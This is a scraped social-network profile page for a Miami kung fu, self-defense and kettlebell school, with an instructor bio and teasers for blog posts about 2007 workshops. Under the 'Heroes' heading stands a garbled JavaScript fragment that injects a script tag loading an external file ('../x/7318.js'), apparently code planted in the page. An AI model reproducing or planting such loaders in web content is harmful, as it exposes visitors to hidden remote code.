Anta's Fitness and Self Defense profile picture

Anta's Fitness and Self Defense

Live Fit, Live Fearless!

About Me


Anta's Fitness and Self Defense is where east meets west,the bridge between
traditional and contemporary martial arts and fitness.
Our main school is located at 10721 NW 58 St., in the
Miami - Doral area. We offer age appropriate kung fu classes for 3
year olds to adults. We specialize in Souther Shaolin and Hung Gar Kung Fu, Self Defense and weapons training. Our sparring is a combination of mix martial arts and street defense in a safe environment. Our students are encouraged participate in our
highly acclaimed Demonstration Team, Lion Dance Team, Competition Team and our
Dragon Boat Racing Team. We also offer classes in
Kettlebells, Pilates, Tai Chi, XMA, MMA, Brazilian Jiu Jitsu and XFT Kickboxing. Head Instructor Julio Anta is a Hung Gar Kung Fu Master, Certified Haganah F.I.G.H.T. Instructor, Personal Trainer, ICSDA SABER Edge Weapon Defense Instructor,Fitness Kickboxing Instructor, Child Safety, Bully Busters and Kettlebell Instructor.
Master Anta is an honorably discharged U.S. Marine Corps Sergeant, a retired Corrections Officer and a former competitive Bodybuilder and a member of Metro Life Worship Center in Doral, FL. If you are interested in our
classes, workshops, demonstrations or you just want to learn more about our center
you can visit our web sites at Anta Kung-Fu , Blog , Miami Kettlebell , or
you can call us at 305 599-3649.
br

My Interests

I'd like to meet:


Christians that are interested in fitness and martial arts.
Anyone interested in the Martial Arts, Kung Fu, Kettlebells, self defense, Dragon Boat,Pilates,Knife Defense and Fighting, fitness,Tai Chi, Lion Dance, bodybuilding, functional fitness training, Indian Club training, stranger danger, and Bully Busters especially if you live in the Miami area.

Rocky Fitness Training Titulares y Mas 2006

Bully Buster CH. 51 News 2005

Heroes:



.."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

Join Our Email List Email:

My Blog

Anta Womens Personal Protection Workshop at Corrections USA Conference in Detroit

On Friday, Sept 7, Julio Anta will be conducting a Women's Self Defense Workshop at the Corrections U.S.A (CUSA). Fall Conference in Detroit Michigan. Corrections U.S.A's motto is "Keeping America's C...
Posted by Anta's Fitness and Self Defense on Tue, 28 Aug 2007 08:56:00 PST

World Martial Arts Union Serrada Escrma and Self Defense Workshop

On Saturday, September 15, Anta's Fitness and Self Defense will host a World Martial Arts Union Escrima and Self Defense Seminar with Master James Perkins and Punong Guro Mike Schwarz.The Serrada Escr...
Posted by Anta's Fitness and Self Defense on Sat, 23 Jun 2007 11:31:00 PST

Revolution Kettlebell Workshop in Miami

On Saturday, August 11, 2007 from 10:45 AM to 4:45 PM Anta's Fitness and Self Defense, 10721 NW 58 St Miami (Doral) will be hosting a Kettlebell Workshop. Presenting the workshop will be the highly ac...
Posted by Anta's Fitness and Self Defense on Wed, 20 Jun 2007 08:45:00 PST

Edged Weapons Combatives Course in Miami

INTERNATIONAL COMBATIVES SELF DEFENSE ASSOCIATION Edged Weapons Combatives Level 1 Practitioner Course    Don't be fooled by fancy choreographed knife techniques.  Knife fighting i...
Posted by Anta's Fitness and Self Defense on Wed, 13 Jun 2007 11:21:00 PST

Julio Anta to Host Spanish Fitness Segment on America TeVe

Julio Anta head instructor of Anta's Fitness and Self Defense in Miami (Doral) Florida will be hosting a fitness segment on America TeVe's top rated Talk Show "Quiereme Descalzi." Anta's weekly segmen...
Posted by Anta's Fitness and Self Defense on Tue, 10 Apr 2007 11:44:00 PST

Five Steps To Make Your Dreams Come True

To achieve success in fitness, martial arts, personal life or in business set your goal, keep the end in mind, keep yourself motivated and don't give up. In my journey to becoming one of the most succ...
Posted by Anta's Fitness and Self Defense on Mon, 26 Mar 2007 09:55:00 PST

Young Women Facing the Future Self Defense and Fitness Workshop

Officer Cassandra Prolle 36, director of Young Women Facing the Future and Retired Officer Julio Anta 49, self defense instructor met and became friends at South Florida Reception Center a maximum sec...
Posted by Anta's Fitness and Self Defense on Sat, 17 Mar 2007 10:58:00 PST

Regan Machado Brazilian Jiu Jitsu Miami Affiliate

We are proud to announce that Anta's Fitness and Self Defense is now the official ..:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" />Miami (Doral) representative of the Marc...
Posted by Anta's Fitness and Self Defense on Sun, 11 Feb 2007 08:12:00 PST

Shaolin Kung Fu

There are numerous accounts and legends of the origins and history of the Shaolin Temple. In my humble opinion this is the story of Shaolin. Most likely you learned of the Shaolin Temple through the C...
Posted by Anta's Fitness and Self Defense on Mon, 22 Jan 2007 06:25:00 PST

Facing the Giants

Today I finally saw the movie "Facing the Giants" with my 2 sons. This was the most inspiring movie that I've seen in a long time. I was trying to see this movie since it's premier, yet to...
Posted by Anta's Fitness and Self Defense on Tue, 21 Nov 2006 10:05:00 PST